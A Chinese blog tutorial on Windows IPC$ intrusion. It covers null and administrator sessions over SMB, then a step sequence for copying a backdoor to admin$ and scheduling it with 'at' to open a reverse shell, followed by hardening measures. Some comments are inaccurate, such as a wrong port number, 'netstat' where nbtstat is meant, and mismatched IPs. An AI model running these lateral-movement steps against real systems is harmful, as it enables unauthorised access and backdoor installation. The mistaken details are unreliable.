首页 > 技术文章 > IPC$入侵

-meditation- 2021-12-15 21:22 原文

IPC$入侵

IPC$概念

IPC$ (Internet Process Connection) 是共享“命名管道”的资源,它是为了让进程间通信而开放的命名管道,通过提供可信任的用户名和口令,连接双方可以建立安全的通道并以此通道进行加密数据的交换,从而实现对远程计算机的访问,在远程管理计算机和查看计算机的共享资源时使用。在同一时间内,两个IP之间只允许建立一个IPC$连接。NT2000在提供了 ipc$ 功能的同时,在初次安装系统时还打开了默认共享,即所有的逻辑共享(C$、D$、E$……)和系统目录(C:\windows)共享。内网渗透中,会利用IPC$,访问共享资源,导出用户列表,并使用一些字典工具,进行密码探测。

利用条件

基础知识:

  • SMB: (Server Message Block) Windows协议族,用于文件打印共享的服务;
  • NBT: (NETBios Over TCP/IP)使用137(UDP)138(UDP)139(TCP)端口实现基于TCP/IP协议的NETBIOS网络互联。
  • 在WindowsNT中SMB基于NBT实现,即使用139(TCP)端口;而在Windows2000中,SMB除了基于NBT实现,还可以直接通过445端口实现

对于win2000客户端(发起端)来说:

  • 如果在允许NBT的情况下连接服务器时,客户端会同时尝试访问139和445端口,如果445端口有响应,那么就发送RST包给139端口断开连接,用455端口进行会话,当445端口无响应时,才使用139端口,如果两个端口都没有响应,则会话失败;
  • 如果在禁止NBT的情况下连接服务器时,那么客户端只会尝试访问445端口,如果445端口无响应,那么会话失败。

对于win2000服务器端来说:

  • 如果允许NBT, 那么UDP端口137, 138, TCP 端口 139, 445将开放(LISTENING);
  • 如果禁止NBT,那么只有445端口开放。

IPC$会话端口要求符合以上原则,所以要想建立IPC$会话需要满足两个条件

1)139或445端口开启:ipc$连接可以实现远程登陆及对默认共享的访问;而139端口的开启表示netbios协议的应用,我们可以通139,445(win2000)端口实现对共享文件/打印机的访问,因此一般来讲,ipc$连接是需要139或445端口来支持的。
2)管理员开启了默认共享:默认共享是为了方便管理员远程管理而默认开启的共享,即所有的逻辑盘(c$,d$,e$……)和系统目录winnt或windows(admin$),我们通过ipc$连接可以实现对这些默认共享的访问。

IPC$操作命令

net use                               #查看连接
net share                             #查看本地开启的共享
net share ipc$                        #开启ipc$共享
net share ipc$ /del                   #删除ipc$共享
net share c$ /del                     #删除C盘共享
net share admin$ /del									#删除C:\Windows共享

net use \\192.168.1.2\ipc$ /u:"" ""     #与192.168.10.15建立ipc空连接
net use \\192.168.1.2      /u:"" ""     #与192.168.10.15建立ipc空连接,可以吧ipc$去掉
net use \\192.168.1.2 /u:"administrator" "admin"   #以administrator身份与192.168.1.2建立ipc连接
net use \\192.168.1.2 /del              #删除ipc连接

net use \\192.168.1.2\c$  /u:"administrator" "admin"  #建立C盘共享
dir \\192.168.1.2\c$                  #查看192.168.1.2 C盘文件
dir \\192.168.1.2\c$\test             #查看192.168.1.2 C盘文件下的test目录
dir \\192.168.1.2\c$\test\test.exe    #查看192.168.1.2 C盘文件下的test目录下的test.exe文件
net use \\192.168.1.2\c$  /del        #删除该C盘共享连接

net use g: \\192.168.1.2\c$  /u:"administrator" "admin"  #将目标C盘映射到本地K盘
net use g: /del                                         #删除该映射

copy test.exe \\192.168.1.2\C$       #上传exe到C盘
net time \\192.168.1.2						   #查看时间
at \\192.168.1.2\C$ 12:25 test.exe 	 #at运行程序 设置的时间要比主机时间快,不然无法启动


net view \\IP   #查看target的共享
netstat -A IP   #获取target的user列表

netstat -ano | findstr "port"  #查看端口号对应的PID
tasklist | findstr "PID"       #查看进程号对应的程序

实战经典利用

C:\>net use \\192.168.1.1\ipc$ /user:administrator "" 	#建立一个空链接,账户要有权限
C:\>net view \\192.168.1.1	#查看远程的共享资源
C:\>copy test.exe \\192.168.1.1\admin$\system32  #将一次性后门test.exe复制到对方的系统文件夹下,前提是admin$开启
C:\>net time \\192.168.1.1	#查看远程主机的当前时间
C:\>at \\192.168.1.1 时间 test.exe #设置时间执行木马反弹shell

IPC$连接失败的原因

1)你的系统不是NT或以上操作系统。
2)对方没有打开ipc$默认共享。
3)不能成功连接目标的139,445端口。
4)命令输入错误。
5)用户名或密码错误。

常见错误号

1)错误号5,拒绝访问:很可能你使用的用户不是管理员权限的,先提升权限。
2)错误号51,Windows 无法找到网络路径:网络有问题。
3)错误号53,找不到网络路径:ip地址错误;目标未开机;目标lanmanserver服务未启动;目标有防火墙(端口过滤)。
4)错误号67,找不到网络名:你的lanmanworkstation服务未启动;目标删除了ipc$。
5)错误号1219,提供的凭据与已存在的凭据集冲突:你已经和对方建立了一个ipc$,请删除再连。
6)错误号1326,未知的用户名或错误密码:原因很明显了。
7)错误号1792,试图登录,但是网络登录服务没有启动:目标NetLogon服务未启动。(连接域控会出现此情况)。
8)错误号2242,此用户的密码已经过期:目标有帐号策略,强制定期要求更改密码。

防护措施

  • 禁止空连接进行枚举
运行regedit,找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\LSA]把RestrictAnonymous = DWORD的键值改为:1,如果设置为"1",一个匿名用户仍然可以连接到IPC$共享,但无法通过这种连接得到列举SAM帐号和共享信息的权限;在Windows 2000 中增加了"2",未取得匿名权的用户将不能进行ipc$空连接。建议设置为1。如果上面所说的主键不存在,就新建一个再改键值。如果你觉得改注册表麻烦,可以在本地安全设置中设置此项: 在本地安全设置-本地策略-安全选项-"对匿名连接的额外限制"
  • 禁止默认共享
#删除共享(每次输入一个)
net share #查看共享
net share ipc$ /delete
net share admin$ /delete
net share c$ /delete
net share d$ /delete(如果有e,f,……可以继续删除)

#停止server服务
net stop server /y (重新启动后server服务会重新开启)

#禁止自动打开默认共享
运行regedit
server版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareServer(DWORD)的键值改为:00000000。 
pro版:找到如下主键[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\LanmanServer\Parameters]把AutoShareWks(DWORD)的键值改为:00000000。 
这两个键值在默认情况下在主机上是不存在的,需要自己手动添加,修改后重起机器使设置生效。

#关闭ipc$和默认共享依赖的服务:server服务
控制面板-管理工具-服务-找到server服务(右击)-属性-常规-启动类型-选已禁用,这时可能会有提示说:XXX服务也会关闭是否继续,因为还有些次要的服务要依赖于server服务,不要管它。 

#屏蔽139,445端口,都要屏蔽
1)139端口可以通过禁止NBT来屏蔽,本地连接-TCP/IT属性-高级-WINS-选"禁用TCP/IT上的NETBIOS"
2)445端口可以通过修改注册表来屏蔽。添加一个键值
Hive: HKEY_LOCAL_MACHINE
Key: System\Controlset\Services\NetBT\Parameters
Name: SMBDeviceEnabled 
Type: REG_DWORD
value: 0
修改完后重启机器

#设置复杂密码,防止通过ipc$穷举出密码

参考链接

https://blog.csdn.net/u010984552/article/details/54890187

https://www.cnblogs.com/bmjoker/p/10355934.html

推荐阅读